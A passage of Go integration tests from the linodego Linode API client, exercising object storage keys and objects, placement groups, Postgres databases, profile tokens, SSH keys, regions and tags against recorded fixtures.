&[]ObjectStorageKeyBucketAccess{} _, objectStorageKey, teardown, err := setupObjectStorageKey(t, createOpts, "fixtures/TestObjectStorageKeys_Limited_NoAccess", nil, nil) defer teardown() if err != nil { t.Error(err) } if !objectStorageKey.Limited || objectStorageKey.BucketAccess == nil || len(*objectStorageKey.BucketAccess) != 0 { t.Errorf("objectStorageKey returned access, %v, %v", objectStorageKey.Limited, objectStorageKey.BucketAccess) } } func TestObjectStorageKeys_Regional_Limited(t *testing.T) { // t.Skip("skipping region test before GA") client, teardown := createTestClient(t, "fixtures/TestObjectStorageKeys_Regional_Limited") regions := getRegionsWithCaps(t, client, []string{"Object Storage"}) if len(regions) < 1 { t.Fatal("Can't get region with Object Storage capability") } region := regions[0] client, bucket, teardown, err := setupObjectStorageBucket(t, []objectStorageBucketModifier{ func(createOpts *ObjectStorageBucketCreateOptions) { createOpts.Cluster = "" createOpts.Region = region }, }, "fixtures/TestObjectStorageKeys_Regional_Limited", client, teardown, nil) if err != nil { t.Error(err) } createOpts := testBasicObjectStorageKeyCreateOpts createOpts.BucketAccess = &[]ObjectStorageKeyBucketAccess{ { Region: region, BucketName: bucket.Label, Permissions: "read_only", }, } initialRegion := bucket.Region createOpts.Regions = []string{initialRegion} _, key, teardown, err := setupObjectStorageKey(t, createOpts, "fixtures/TestObjectStorageKeys_Regional_Limited", client, teardown) defer teardown() if err != nil { t.Fatalf("error creating the obj regional key: %v", err) } if !key.Limited || key.BucketAccess == nil || len(*key.BucketAccess) == 0 { t.Errorf("Regional limited Object Storage key returned access, %v, %v", key.Limited, key.BucketAccess) } containsRegion := func(regions []ObjectStorageKeyRegion, id string) bool { for _, region := range regions { if region.ID == id { return true } } return false } if !containsRegion(key.Regions, initialRegion) { t.Errorf("Unexpected key regions, expected regions: %v, actual regions: %v", createOpts.Regions, key.Regions) } var addedRegion string if initialRegion != "us-mia" { addedRegion = "us-mia" } else { addedRegion = "us-iad" } updateOpts := ObjectStorageKeyUpdateOptions{ Regions: []string{initialRegion, addedRegion}, } key, err = client.UpdateObjectStorageKey(context.Background(), key.ID, updateOpts) if err != nil { t.Fatalf("error updating the obj regional key: %v", err) } if !slices.ContainsFunc(key.Regions, func(r linodego.ObjectStorageKeyRegion) bool { return r.ID == addedRegion }) { t.Errorf("Unexpected key regions, expected regions: %v, actual regions: %v", updateOpts.Regions, key.Regions) } } func setupObjectStorageKey(t *testing.T, createOpts ObjectStorageKeyCreateOptions, fixturesYaml string, client *Client, teardown func()) (*Client, *ObjectStorageKey, func(), error) { t.Helper() if (client == nil) != (teardown == nil) { t.Error( "The client and fixtureTeardown variables must either both be nil or both " + "have a value. They cannot have one set to nil and the other set to a non-nil value.", ) } if client == nil { client, teardown = createTestClient(t, fixturesYaml) } objectStorageKey, err := client.CreateObjectStorageKey(context.Background(), createOpts) if err != nil { t.Errorf("Error creating ObjectStorageKey: %v", err) } newTeardown := func() { if err := client.DeleteObjectStorageKey(context.Background(), objectStorageKey.ID); err != nil { t.Errorf("Expected to delete a objectStorageKey, but got %v", err) } teardown() } return client, objectStorageKey, newTeardown, err } golang-github-linode-linodego-1.47.0/test/integration/object_storage_object_test.go000066400000000000000000000120321474652371000306170ustar00rootroot00000000000000package integration import ( "bytes" "context" "net/http" "testing" "github.com/linode/linodego" ) var objectStorageObjectURLExpirySeconds = 360 func putObjectStorageObject(t *testing.T, client *linodego.Client, bucket *linodego.ObjectStorageBucket, name, content string) { t.Helper() url, err := client.CreateObjectStorageObjectURL(context.TODO(), bucket.Cluster, bucket.Label, linodego.ObjectStorageObjectURLCreateOptions{ Name: name, Method: http.MethodPut, ContentType: "text/plain", ExpiresIn: &objectStorageObjectURLExpirySeconds, }) if err != nil { t.Errorf("failed to get object PUT url: %s", err) } rec, teardownRecorder := testRecorder(t, "fixtures/TestObjectStorageObject_ACLConfig_Bucket_Put", testingMode, nil) defer teardownRecorder() httpClient := http.Client{Transport: rec} req, err := http.NewRequest(http.MethodPost, url.URL, bytes.NewReader([]byte(content))) if err != nil { t.Errorf("failed to build request: %s", err) } req.Method = http.MethodPut req.Header.Add("Content-Type", "text/plain") res, err := httpClient.Do(req) if err != nil { t.Errorf("failed to make request: %s", err) } if res.StatusCode != 200 { t.Errorf("expected status code to be 200; got %d", res.StatusCode) } } func deleteObjectStorageObject(t *testing.T, client *linodego.Client, bucket *linodego.ObjectStorageBucket, name string) { t.Helper() url, err := client.CreateObjectStorageObjectURL(context.TODO(), bucket.Cluster, bucket.Label, linodego.ObjectStorageObjectURLCreateOptions{ Name: name, Method: http.MethodDelete, ExpiresIn: &objectStorageObjectURLExpirySeconds, }) if err != nil { t.Errorf("failed to get object PUT url: %s", err) } rec, teardownRecorder := testRecorder(t, "fixtures/TestObjectStorageObject_ACLConfig_Bucket_Delete", testingMode, nil) defer teardownRecorder() httpClient := http.Client{Transport: rec} req, err := http.NewRequest(http.MethodPost, url.URL, nil) if err != nil { t.Errorf("failed to build request: %s", err) } req.Method = http.MethodDelete res, err := httpClient.Do(req) if res.StatusCode != 204 { t.Errorf("expected status code to be 204; got %d", res.StatusCode) } } func TestObjectStorageObject_Smoke(t *testing.T) { client, bucket, teardown, err := setupObjectStorageBucket( t, nil, "fixtures/TestObjectStorageObject_Smoke", nil, nil, nil, ) if err != nil { t.Fatalf("failed to create Object Storage Object: %s", err) } defer teardown() object := "test" putObjectStorageObject(t, client, bucket, object, "testing123") defer deleteObjectStorageObject(t, client, bucket, object) config, err := client.GetObjectStorageObjectACLConfig(context.TODO(), bucket.Cluster, bucket.Label, object) if err != nil { t.Errorf("failed to get ACL config: %s", err) } if config.ACL != "private" { t.Errorf("expected ACL to be private; got %s", config.ACL) } if config.ACLXML == "" { t.Error("expected ACL XML to be included") } configv2, err := client.GetObjectStorageObjectACLConfigV2(context.TODO(), bucket.Cluster, bucket.Label, object) if err != nil { t.Errorf("failed to get ACL config: %s", err) } if configv2.ACL == nil { t.Errorf("expected ACL to be private; got nil") } if configv2.ACL != nil && *configv2.ACL != "private" { t.Errorf("expected ACL to be private; got %s", *configv2.ACL) } content, err := client.ListObjectStorageBucketContents(context.TODO(), bucket.Cluster, bucket.Label, nil) if err != nil { t.Errorf("failed to get bucket contents: %s", err) } if content.Data[0].Name != object { t.Errorf("ObjectStorageBucket contents name does not match, expected %s, got %s", "test", content.Data[0].Name) } updateOpts := linodego.ObjectStorageObjectACLConfigUpdateOptions{ACL: "public-read", Name: object} if _, err = client.UpdateObjectStorageObjectACLConfig(context.TODO(), bucket.Cluster, bucket.Label, updateOpts); err != nil { t.Errorf("failed to update ACL config: %s", err) } if _, err = client.UpdateObjectStorageObjectACLConfigV2(context.TODO(), bucket.Cluster, bucket.Label, updateOpts); err != nil { t.Errorf("failed to update ACL config: %s", err) } config, err = client.GetObjectStorageObjectACLConfig(context.TODO(), bucket.Cluster, bucket.Label, object) if err != nil { t.Errorf("failed to get updated ACL config: %s", err) } if config.ACL != updateOpts.ACL { t.Errorf("expected ACL config to be %s; got %s", updateOpts.ACL, config.ACL) } if config.ACLXML == "" { t.Error("expected ACL XML to be included") } configv2, err = client.GetObjectStorageObjectACLConfigV2(context.TODO(), bucket.Cluster, bucket.Label, object) if err != nil { t.Errorf("failed to get ACL config: %s", err) } if configv2.ACL == nil { t.Errorf("expected ACL config to be %s; got nil", updateOpts.ACL) } if configv2.ACL != nil && *configv2.ACL != updateOpts.ACL { t.Errorf("expected ACL config to be %s; got nil", updateOpts.ACL) } if configv2.ACLXML == nil { t.Error("expected ACL XML to be included") } if configv2.ACLXML != nil && *configv2.ACLXML == "" { t.Error("expected ACL XML to be included") } } golang-github-linode-linodego-1.47.0/test/integration/placement_group_test.go000066400000000000000000000101231474652371000274620ustar00rootroot00000000000000package integration import ( "context" "fmt" "reflect" "testing" "github.com/stretchr/testify/require" "github.com/linode/linodego" ) type placementGroupModifier func(*linodego.Client, *linodego.PlacementGroupCreateOptions) func TestPlacementGroup_basic_smoke(t *testing.T) { client, clientTeardown := createTestClient(t, "fixtures/TestPlacementGroup_basic") // Create a PG pg, pgTeardown, err := createPlacementGroup(t, client) require.NoError(t, err) defer func() { pgTeardown() clientTeardown() }() require.NotEqual(t, pg.ID, 0) require.Contains(t, pg.Label, "linodego-test-") require.NotEmpty(t, pg.Label) require.Equal(t, pg.PlacementGroupType, linodego.PlacementGroupTypeAntiAffinityLocal) require.Equal(t, pg.PlacementGroupPolicy, linodego.PlacementGroupPolicyFlexible) require.Len(t, pg.Members, 0) updatedLabel := pg.Label + "-updated" // Test that the PG can be updated pg, err = client.UpdatePlacementGroup( context.Background(), pg.ID, linodego.PlacementGroupUpdateOptions{ Label: updatedLabel, }, ) require.NoError(t, err) require.Equal(t, pg.Label, updatedLabel) // Test that the PG can be retrieved from the get endpoint refreshedPG, err := client.GetPlacementGroup(context.Background(), pg.ID) require.NoError(t, err) require.True(t, reflect.DeepEqual(refreshedPG, pg)) // Test that the PG can be retrieved from the list endpoint listedPGs, err := client.ListPlacementGroups(context.Background(), &linodego.ListOptions{ Filter: fmt.Sprintf("{\"id\": %d}", pg.ID), }) require.NoError(t, err) require.NotEmpty(t, listedPGs) require.True(t, reflect.DeepEqual(listedPGs[0], *pg)) } func TestPlacementGroup_assignment(t *testing.T) { client, clientTeardown := createTestClient(t, "fixtures/TestPlacementGroup_assignment") pg, pgTeardown, err := createPlacementGroup(t, client) require.NoError(t, err) // Create an instance to assign to the PG inst, err := createInstance(t, client, true, func(client *linodego.Client, options *linodego.InstanceCreateOptions) { options.Region = pg.Region }) require.NoError(t, err) defer func() { // client.DeleteInstance(context.Background(), inst.ID) pgTeardown() clientTeardown() }() // Ensure assignment works as expected pg, err = client.AssignPlacementGroupLinodes( context.Background(), pg.ID, linodego.PlacementGroupAssignOptions{ Linodes: []int{ inst.ID, }, }, ) require.NoError(t, err) require.Len(t, pg.Members, 1) require.Equal(t, pg.Members[0].LinodeID, inst.ID) // Refresh the instance to ensure the assignment has completed inst, err = client.GetInstance(context.Background(), inst.ID) require.NoError(t, err) require.NotNil(t, inst.PlacementGroup) require.Equal(t, inst.PlacementGroup.ID, pg.ID) require.Equal(t, inst.PlacementGroup.Label, pg.Label) require.Equal(t, inst.PlacementGroup.PlacementGroupPolicy, pg.PlacementGroupPolicy) require.Equal(t, inst.PlacementGroup.PlacementGroupType, pg.PlacementGroupType) // Ensure unassignment works as expected pg, err = client.UnassignPlacementGroupLinodes( context.Background(), pg.ID, linodego.PlacementGroupUnAssignOptions{ Linodes: []int{ inst.ID, }, }, ) require.NoError(t, err) require.Len(t, pg.Members, 0) } func createPlacementGroup( t *testing.T, client *linodego.Client, pgModifier ...placementGroupModifier, ) (*linodego.PlacementGroup, func(), error) { t.Helper() createOpts := linodego.PlacementGroupCreateOptions{ Label: "linodego-test-" + getUniqueText(), Region: getRegionsWithCaps(t, client, []string{"Placement Group"})[0], PlacementGroupType: linodego.PlacementGroupTypeAntiAffinityLocal, PlacementGroupPolicy: linodego.PlacementGroupPolicyFlexible, } for _, mod := range pgModifier { mod(client, &createOpts) } pg, err := client.CreatePlacementGroup(context.Background(), createOpts) if err != nil { t.Fatalf("failed to create placement group: %s", err) } teardown := func() { if err := client.DeletePlacementGroup(context.Background(), pg.ID); err != nil { t.Errorf("failed to delete placement group: %s", err) } } return pg, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/postgres_test.go000066400000000000000000000136401474652371000261530ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "time" "github.com/dnaeon/go-vcr/recorder" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestDatabase_Postgres_Suite(t *testing.T) { client, database, teardown, err := setupPostgresDatabase(t, nil, "fixtures/TestDatabase_Postgres_Suite") if err != nil { t.Error(err) } defer teardown() postgresdbs, err := client.ListPostgresDatabases(context.Background(), nil) if len(postgresdbs) == 0 { t.Errorf("Expected a list of Databases, but got none: %v", err) } if err != nil { t.Errorf("Error listing Databases, expected struct, got error %v", err) } success := false for _, db := range postgresdbs { if db.ID == database.ID { success = true } } if !success { t.Error("database not in database list") } db, err := client.GetPostgresDatabase(context.Background(), database.ID) if err != nil { t.Errorf("Error viewing postgres database: %v", err) } if db.ID != database.ID { t.Errorf("got wrong db from GetPostgresDatabase: %v", db) } updatedWindow := linodego.DatabaseMaintenanceWindow{ DayOfWeek: linodego.DatabaseMaintenanceDayWednesday, Duration: 4, Frequency: linodego.DatabaseMaintenanceFrequencyWeekly, HourOfDay: 8, Pending: []linodego.DatabaseMaintenanceWindowPending{}, } allowList := []string{"128.173.205.21", "123.177.200.20"} updatedLabel := database.Label + "-updated" opts := linodego.PostgresUpdateOptions{ AllowList: &allowList, Label: updatedLabel, Updates: &updatedWindow, } db, err = client.UpdatePostgresDatabase(context.Background(), database.ID, opts) if err != nil { t.Errorf("failed to update db %d: %v", database.ID, err) } waitForDatabaseUpdated(t, client, db.ID, linodego.DatabaseEngineTypePostgres, db.Created) if db.ID != database.ID { t.Errorf("updated db does not match original id") } if db.Label != updatedLabel { t.Errorf("label not updated for db") } if !reflect.DeepEqual(db.Updates, updatedWindow) { t.Errorf("db maintenance window does not match update opts: %v", cmp.Diff(db.Updates, updatedWindow)) } ssl, err := client.GetPostgresDatabaseSSL(context.Background(), database.ID) if err != nil { t.Errorf("failed to get ssl cert for db: %v", err) } if ssl == nil { t.Error("failed to get ssl cert for db") } creds, err := client.GetPostgresDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Minute * 5) } err = client.ResetPostgresDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to reset credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Second * 15) } newcreds, err := client.GetPostgresDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get new credentials for db: %v", err) } if creds.Password == newcreds.Password { t.Error("credentials have not changed for db") } if testingMode == recorder.ModeRecording { time.Sleep(time.Minute * 5) } if err := client.PatchPostgresDatabase(context.Background(), database.ID); err != nil { t.Fatalf("failed to patch database: %s", err) } // Wait for the DB to enter updating status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypePostgres, linodego.DatabaseStatusUpdating, 240); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } // Wait for the DB to re-enter active status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypePostgres, linodego.DatabaseStatusActive, 2400); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } } type postgresDatabaseModifier func(options *linodego.PostgresCreateOptions) func createPostgresDatabase(t *testing.T, client *linodego.Client, databaseMofidiers []postgresDatabaseModifier, ) (*linodego.PostgresDatabase, func(), error) { t.Helper() createOpts := linodego.PostgresCreateOptions{ Label: "go-postgres-testing-def" + randLabel(), Region: getRegionsWithCaps(t, client, []string{"Managed Databases"})[0], Type: "g6-nanode-1", Engine: "postgresql/14", ClusterSize: 3, AllowList: []string{"203.0.113.1", "192.0.1.0/24"}, } for _, modifier := range databaseMofidiers { modifier(&createOpts) } database, err := client.CreatePostgresDatabase(context.Background(), createOpts) if err != nil { t.Fatalf("failed to create database: %s", err) } // We should retry on db cleanup teardown := func() { ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second) defer cancel() ticker := time.NewTicker(client.GetPollDelay()) defer ticker.Stop() for { select { case <-ticker.C: err := client.DeletePostgresDatabase(ctx, database.ID) if err == nil { return } if lErr, ok := err.(*linodego.Error); ok && lErr.Code == 500 { continue } t.Fatalf("failed to delete database: %s", err) case <-ctx.Done(): t.Fatalf("failed to retry database deletion: %s", ctx.Err()) } } } return database, teardown, nil } func setupPostgresDatabase(t *testing.T, databaseMofidiers []postgresDatabaseModifier, fixturesYaml string, ) (*linodego.Client, *linodego.PostgresDatabase, func(), error) { t.Helper() now := time.Now() client, fixtureTeardown := createTestClient(t, fixturesYaml) database, databaseTeardown, err := createPostgresDatabase(t, client, databaseMofidiers) if err != nil { t.Fatalf("failed to create db: %s", err) } _, err = client.WaitForEventFinished(context.Background(), database.ID, linodego.EntityDatabase, linodego.ActionDatabaseCreate, now, 5400) if err != nil { t.Fatalf("failed to wait for db create event: %s", err) } teardown := func() { databaseTeardown() fixtureTeardown() } return client, database, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/profile_logins_test.go000066400000000000000000000013311474652371000273120ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestProfileLogins_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestProfileLogins_List") defer teardown() logins, err := client.ListProfileLogins(context.Background(), nil) if err != nil { t.Errorf("Error getting Profile Logins, expected struct, got error %v", err) } if len(logins) < 1 { t.Errorf("Expected to see at least one Profile Login") } login := logins[0] response, err := client.GetProfileLogin(context.Background(), login.ID) if err != nil { t.Errorf("Failed to get one Profile Login: %v", err) } if response.Username != login.Username { t.Fatal("Recieved Profile Login Username does not match source") } } golang-github-linode-linodego-1.47.0/test/integration/profile_security_question_test.go000066400000000000000000000012411474652371000316150ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestSecurityQuestions_List(t *testing.T) { warnSensitiveTest(t) client, teardown := createTestClient(t, "fixtures/TestSecurityQuestions_List") defer teardown() questions, err := client.SecurityQuestionsList(context.Background()) require.NoError(t, err, "Error getting security questions, expected struct") require.NotEmpty(t, questions.SecurityQuestions, "Expected to see security questions returned") require.Equal(t, "What was the name of your first pet?", questions.SecurityQuestions[0].Question, "Expected question 'What was the name of your first pet?'") } golang-github-linode-linodego-1.47.0/test/integration/profile_sshkeys_test.go000066400000000000000000000073271474652371000275230ustar00rootroot00000000000000package integration import ( "context" "strings" "testing" . "github.com/linode/linodego" ) var testSSHKeyCreateOpts = SSHKeyCreateOptions{ Label: label, SSHKey: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X " + label, } func TestSSHKey_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestSSHKey_GetMissing") defer teardown() notfoundID := 123 i, err := client.GetSSHKey(context.Background(), notfoundID) if err == nil { t.Errorf("should have received an error requesting a missing sshkey, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing sshkey, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing sshkey, got %v", e.Code) } } func TestSSHKey_GetFound(t *testing.T) { client, sshkey, teardown, err := setupSSHKey(t, "fixtures/TestSSHKey_GetFound") defer teardown() if err != nil { t.Error(err) } i, err := client.GetSSHKey(context.Background(), sshkey.ID) if err != nil { t.Errorf("Error getting sshkey, expected struct, got %v and error %v", i, err) } if i.ID != sshkey.ID { t.Errorf("Expected sshkey id %d, but got %d", i.ID, sshkey.ID) } if testSSHKeyCreateOpts.Label != sshkey.Label { t.Errorf("Expected sshkey label '%s', but got '%s'", testSSHKeyCreateOpts.Label, sshkey.Label) } if testSSHKeyCreateOpts.SSHKey != sshkey.SSHKey { t.Errorf("Expected sshkey sshkey, but got a different one") } assertDateSet(t, sshkey.Created) } func TestSSHKey_Update(t *testing.T) { client, sshkey, teardown, err := setupSSHKey(t, "fixtures/TestSSHKey_Update") defer teardown() if err != nil { t.Error(err) } renamedLabel := sshkey.Label + "_r" updateOpts := SSHKeyUpdateOptions{ Label: renamedLabel, } sshkey, err = client.UpdateSSHKey(context.Background(), sshkey.ID, updateOpts) if err != nil { t.Errorf("Error renaming sshkey, %s", err) } if !strings.Contains(sshkey.Label, renamedLabel) { t.Errorf("sshkey returned does not match sshkey update request") } } func TestSSHKeys_List(t *testing.T) { client, sshkey, teardown, err := setupSSHKey(t, "fixtures/TestSSHKeys_List") defer teardown() if err != nil { t.Error(err) } sshkeys, err := client.ListSSHKeys(context.Background(), nil) if err != nil { t.Errorf("Error listing sshkeys, expected struct, got error %v", err) } if len(sshkeys) == 0 { t.Errorf("Expected a list of sshkeys, but got %v", sshkeys) } notFound := true for i := range sshkeys { if sshkeys[i].Label == sshkey.Label { notFound = false if sshkeys[i].Created == nil { t.Errorf("Expected listed sshkeys to have parsed Created") } assertDateSet(t, sshkeys[i].Created) break } } if notFound { t.Errorf("Expected to find created sshkey, but '%s' was not found", sshkey.Label) } } func setupSSHKey(t *testing.T, fixturesYaml string) (*Client, *SSHKey, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := testSSHKeyCreateOpts sshkey, err := client.CreateSSHKey(context.Background(), createOpts) if err != nil { t.Errorf("Error listing sshkeys, expected struct, got error %v", err) } teardown := func() { if err := client.DeleteSSHKey(context.Background(), sshkey.ID); err != nil { t.Errorf("Expected to delete a sshkey, but got %v", err) } fixtureTeardown() } return client, sshkey, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/profile_test.go000066400000000000000000000020071474652371000257400ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestProfile_Get_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestProfile_Get") defer teardown() i, err := client.GetProfile(context.Background()) if err != nil { t.Errorf("Error getting profile: %s", err) } if len(i.Email) < 1 { t.Errorf("Expected profile email") } } func TestProfile_Update(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestProfile_Update") defer teardown() profile, err := client.GetProfile(context.Background()) if err != nil { t.Errorf("Error getting profile: %s", err) } updateOpts := profile.GetUpdateOptions() if updateOpts.Email != profile.Email { t.Errorf("Expected matching Username from GetUpdateOptions, got: %v", updateOpts) } i, err := client.UpdateProfile(context.Background(), updateOpts) if err != nil { t.Errorf("Error updating profile: %s", err) } if i.Email != updateOpts.Email { t.Errorf("Expected profile email to be changed, but found %v", i) } } golang-github-linode-linodego-1.47.0/test/integration/profile_tokens_test.go000066400000000000000000000106141474652371000273260ustar00rootroot00000000000000package integration import ( "context" "testing" "time" . "github.com/linode/linodego" ) func TestToken_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestToken_GetMissing") defer teardown() doesNotExist := 123 i, err := client.GetToken(context.Background(), doesNotExist) if err == nil { t.Errorf("should have received an error requesting a missing token, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing token, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing token, got %v", e.Code) } } func TestToken_GetFound(t *testing.T) { tokenTTLSeconds := 120 ttl := time.Now().UTC().Add(time.Second * time.Duration(tokenTTLSeconds)) client, token, teardown, err := setupProfileToken(t, "fixtures/TestToken_GetFound", &ttl) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } i, err := client.GetToken(context.Background(), token.ID) if err != nil { t.Errorf("Error getting token, expected struct, got %v and error %v", i, err) } if i.ID != token.ID { t.Errorf("Expected a specific token, but got a different one %v", i) } assertDateSet(t, i.Created) updateOpts := i.GetUpdateOptions() if updateOpts.Label != i.Label { t.Errorf("Expected matching Label from GetUpdateOptions, got: %v", updateOpts) } createOpts := i.GetCreateOptions() if createOpts.Expiry == nil { t.Errorf("Expected non-nil Expiry from GetCreateOptions, got: %v", createOpts) } } func TestToken_GetNoExpiry(t *testing.T) { client, token, teardown, err := setupProfileToken(t, "fixtures/TestToken_GetNoExpiry", nil) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } i, err := client.GetToken(context.Background(), token.ID) if err != nil { t.Errorf("Error getting token, expected struct, got %v and error %v", i, err) } if i.ID != token.ID { t.Errorf("Expected a specific token, but got a different one %v", i) } createOpts := i.GetCreateOptions() if createOpts.Expiry != nil && createOpts.Expiry.Year() != 2999 { t.Errorf("Expected \"never\" expiring timestamp from GetCreateOptions, got: %v", createOpts) } } func TestTokens_Update(t *testing.T) { tokenTTLSeconds := 120 ttl := time.Now().UTC().Add(time.Second * time.Duration(tokenTTLSeconds)) client, token, teardown, err := setupProfileToken(t, "fixtures/TestTokens_Update", &ttl) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } createOpts := token.GetCreateOptions() if createOpts.Expiry == nil { t.Errorf("Expected non-nil Expiry from GetCreateOptions, got: %v", createOpts) } updateOpts := token.GetUpdateOptions() if updateOpts.Label != token.Label { t.Errorf("Expected matching Label from GetUpdateOptions, got: %v", updateOpts) } updateOpts.Label = updateOpts.Label + "_renamed" i, err := client.UpdateToken(context.Background(), token.ID, updateOpts) if err != nil { t.Errorf("Error updating token: %s", err) } if i.Label != updateOpts.Label { t.Errorf("Expected token label to be changed, but found %v", i) } } func TestTokens_List(t *testing.T) { tokenTTLSeconds := 120 ttl := time.Now().UTC().Add(time.Second * time.Duration(tokenTTLSeconds)) client, _, teardown, err := setupProfileToken(t, "fixtures/TestTokens_List", &ttl) defer teardown() if err != nil { t.Errorf("Error creating test token: %s", err) } i, err := client.ListTokens(context.Background(), nil) if err != nil { t.Errorf("Error listing tokens, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of tokens, but got none %v", i) } } func setupProfileToken(t *testing.T, fixturesYaml string, ttl *time.Time) (*Client, *Token, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) // This scope must be <= the scope used for testing limitedTestScope := "linodes:read_only" createOpts := TokenCreateOptions{ Label: "linodego-token-test", Expiry: ttl, Scopes: limitedTestScope, } token, err := client.CreateToken(context.Background(), createOpts) if err != nil { t.Fatalf("Error creating test Token: %s", err) } teardown := func() { if token != nil { if err := client.DeleteToken(context.Background(), token.ID); err != nil { t.Errorf("Error deleting test Token: %s", err) } } fixtureTeardown() } return client, token, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/regions_test.go000066400000000000000000000043041474652371000257500ustar00rootroot00000000000000package integration import ( "context" "slices" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/require" ) func TestRegions_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestRegions_List") defer teardown() testFunc := func(retryT *TRetry) { regions, err := client.ListRegions(context.Background(), nil) if err != nil { t.Errorf("Error listing regions, expected struct - error %v", err) } if len(regions) == 0 { t.Errorf("Expected a list of regions - %v", regions) } } retryStatement(t, 3, testFunc) } func TestRegions_pgLimits(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestRegions_pgLimits") defer teardown() regions, err := client.ListRegions(context.Background(), nil) require.NoError(t, err) // Filtering is not currently supported on capabilities regionIdx := slices.IndexFunc(regions, func(region linodego.Region) bool { return slices.Contains(region.Capabilities, "Placement Group") }) require.NotZero(t, regionIdx) region := regions[regionIdx] require.NotNil(t, region.PlacementGroupLimits) require.NotZero(t, region.PlacementGroupLimits.MaximumLinodesPerPG) require.NotZero(t, region.PlacementGroupLimits.MaximumPGsPerCustomer) } func TestRegions_blockStorageEncryption(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestRegions_blockStorageEncryption") defer teardown() regions, err := client.ListRegions(context.Background(), nil) require.NoError(t, err) // Filtering is not currently supported on capabilities regionIdx := slices.IndexFunc(regions, func(region linodego.Region) bool { return slices.Contains(region.Capabilities, "Block Storage Encryption") }) require.NotZero(t, regionIdx) } func TestRegions_kubernetesEnterprise(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestRegions_kubernetesEnterprise") defer teardown() regions, err := client.ListRegions(context.Background(), nil) require.NoError(t, err) // Filtering is not currently supported on capabilities regionIdx := slices.IndexFunc(regions, func(region linodego.Region) bool { return slices.Contains(region.Capabilities, "Kubernetes Enterprise") }) require.NotZero(t, regionIdx) } golang-github-linode-linodego-1.47.0/test/integration/regionsavailability_test.go000066400000000000000000000010571474652371000303450ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestRegionsAvailability_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestRegionsAvailability_List") defer teardown() testFunc := func(retryT *TRetry) { regions, err := client.ListRegionsAvailability(context.Background(), nil) if err != nil { t.Errorf("Error listing regions availability, expected struct - error %v", err) } if len(regions) == 0 { t.Errorf("Expected a list of regions availability - %v", regions) } } retryStatement(t, 3, testFunc) } golang-github-linode-linodego-1.47.0/test/integration/stackscripts_test.go000066400000000000000000000010511474652371000270130ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestStackscripts_List_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestStackscripts_List") defer teardown() filterOpt := linodego.NewListOptions(1, "") stackscripts, err := client.ListStackscripts(context.Background(), filterOpt) if err != nil { t.Errorf("Error listing stackscripts, expected struct - error %v", err) } if len(stackscripts) == 0 { t.Errorf("Expected a list of public stackscripts - %v", stackscripts) } } golang-github-linode-linodego-1.47.0/test/integration/tags_test.go000066400000000000000000000065221474652371000252440ustar00rootroot00000000000000package integration import ( "context" "testing" . "github.com/linode/linodego" ) func TestTag_Create_create_smoke(t *testing.T) { client, instance, teardown, err := setupTaggedInstance(t, "fixtures/TestTag_Create") defer teardown() if err != nil { t.Errorf("Error creating test Instance: %s", err) } if instance.Tags[0] != "go-tag-test" { t.Errorf("should have created a tagged instance, got %v", instance.Tags) } updateOpts := instance.GetUpdateOptions() if updateOpts.Tags == nil { updateOpts.Tags = new([]string) } newTags := 